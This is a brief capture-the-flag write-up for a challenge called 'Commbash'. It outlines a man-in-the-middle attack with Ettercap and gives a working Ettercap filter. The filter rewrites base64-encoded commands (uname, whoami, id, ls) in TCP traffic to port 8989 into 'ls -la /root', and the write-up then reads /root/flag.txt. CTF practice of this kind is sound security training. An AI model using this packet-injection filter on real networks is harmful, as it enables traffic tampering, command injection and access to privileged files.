Commbash

Commbash

Challenge description

Security is a myth, let's prove it again.

Short writeup

• Perform an MiTM attack on active hosts using Ettercap or its alternatives
• Modify the packets and inject bash commands
• cat /root/flag.txt

Exploit Filter

if (ip.proto == TCP && tcp.dst == 8989) {
   if (search(DATA.data, "bHMgL3Zhci9sb2cv")) {
      replace("bHMgL3Zhci9sb2cv", "bHMgLWxhIC9yb290"); 
      msg("Attack Successful!!\n");
   }

   if (search(DATA.data, "dW5hbWU=")) {
      replace("dW5hbWU=", "bHMgLWxhIC9yb290"); 
      msg("Attack Successful!!\n");
   }

   if (search(DATA.data, "d2hvYW1p")) {
      replace("d2hvYW1p", "bHMgLWxhIC9yb290"); 
      msg("Attack Successful!!\n");
   }
   if (search(DATA.data, "aWQ=")) {
      replace("aWQ=", "bHMgLWxhIC9yb290"); 
      msg("Attack Successful!!\n");
   }

}

Author

Jaswanth Bommidi